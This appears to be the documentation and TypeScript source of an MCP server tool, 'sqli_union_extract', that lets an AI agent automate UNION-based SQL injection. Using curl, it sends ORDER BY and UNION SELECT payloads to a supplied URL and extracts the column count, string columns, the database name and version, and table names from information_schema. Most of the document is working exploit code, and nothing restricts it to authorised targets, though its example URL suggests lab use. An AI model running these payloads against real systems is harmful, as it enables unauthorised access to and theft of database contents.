sqli_union_extract
Extract database information from SQL injection vulnerabilities using UNION-based techniques to identify column counts, string columns, database names, versions, tables, and columns.
Instructions
Step-by-step UNION-based data extraction. 1. Finds column count via ORDER BY. 2. Identifies string-displayable columns via UNION SELECT. 3. Extracts database name and version. 4. Lists tables and columns. Returns column_count, string_columns, db_name, db_version, tables, user_columns. Side effects: Read-only GET requests. Sends ~30 requests depending on column count.
Input Schema
TableJSON Schema
| Name | Required | Description | Default |
|---|---|---|---|
| url | Yes | Full URL with injectable parameter, e.g. https://target/filter?category=Gifts | |
| parameter | Yes | Vulnerable query parameter name | |
| max_columns | No | Maximum columns to probe with ORDER BY |
Implementation Reference
- src/tools/sqli.ts:131-223 (handler)Implementation of the sqli_union_extract tool handler, which automates UNION-based SQL injection to discover columns, extract DB metadata, and list tables.
server.tool( "sqli_union_extract", "Step-by-step UNION-based data extraction. 1. Finds column count via ORDER BY. 2. Identifies string-displayable columns via UNION SELECT. 3. Extracts database name and version. 4. Lists tables and columns. Returns column_count, string_columns, db_name, db_version, tables, user_columns. Side effects: Read-only GET requests. Sends ~30 requests depending on column count.", { url: z.string().describe("Full URL with injectable parameter, e.g. https://target/filter?category=Gifts"), parameter: z.string().describe("Vulnerable query parameter name"), max_columns: z.number().min(1).max(20).optional().describe("Maximum columns to probe with ORDER BY"), }, async ({ url, parameter, max_columns = 10 }) => { requireTool("curl"); const baseUrl = url.split("?")[0]; // Step 1: Find column count via ORDER BY let columnCount = 0; for (let i = 1; i <= max_columns; i++) { const res = await runCmd("curl", [ "-sk", "-o", "/dev/null", "-w", "%{http_code}", `${baseUrl}?${parameter}=' ORDER BY ${i}-- -`, ]); const status = /^\d+$/.test(res.stdout) ? parseInt(res.stdout, 10) : 0; if (status === 500 || status === 0) { columnCount = i - 1; break; } if (i === max_columns) { columnCount = max_columns; } } if (columnCount === 0) { const errResult = { error: "Could not determine column count. ORDER BY 1 failed." }; return { content: [{ type: "text" as const, text: JSON.stringify(errResult, null, 2) }] }; } // Step 2: Find string columns via UNION SELECT with markers const unionValues = Array.from({ length: columnCount }, (_, i) => `'col${i + 1}'`).join(","); const markerCmd = await runCmd("curl", [ "-sk", `${baseUrl}?${parameter}=' UNION SELECT ${unionValues}-- -`, ]); const stringColumns: number[] = []; for (let i = 1; i <= columnCount; i++) { if (markerCmd.stdout.includes(`col${i}`)) { stringColumns.push(i); } } // Step 3: Extract DB name and version let dbRes = { stdout: "" }; let verRes = { stdout: "" }; if (stringColumns.length > 0) { const colIdx = stringColumns[0]; const selectParts = Array.from({ length: columnCount }, (_, i) => i + 1 === colIdx ? "database()" : "NULL" ); dbRes = await runCmd("curl", [ "-sk", `${baseUrl}?${parameter}=' UNION SELECT ${selectParts.join(",")}-- -`, ]); const selectPartsV = Array.from({ length: columnCount }, (_, i) => i + 1 === colIdx ? "@@version" : "NULL" ); verRes = await runCmd("curl", [ "-sk", `${baseUrl}?${parameter}=' UNION SELECT ${selectPartsV.join(",")}-- -`, ]); } // Step 4: List tables let tablesRes = { stdout: "" }; if (stringColumns.length > 0) { const colIdx = stringColumns[0]; const selectPartsT = Array.from({ length: columnCount }, (_, i) => i + 1 === colIdx ? "GROUP_CONCAT(table_name)" : "NULL" ); tablesRes = await runCmd("curl", [ "-sk", `${baseUrl}?${parameter}=' UNION SELECT ${selectPartsT.join(",")} FROM information_schema.tables WHERE table_schema=database()-- -`, ]); } const result = { column_count: columnCount, string_columns: stringColumns, db_extraction_response_snippet: dbRes.stdout.slice(0, 500), version_response_snippet: verRes.stdout.slice(0, 500), tables_response_snippet: tablesRes.stdout.slice(0, 500), hint: "Use the string column positions to craft targeted UNION SELECT queries for specific table data.", }; return { content: [{ type: "text" as const, text: JSON.stringify(result, null, 2) }] }; } );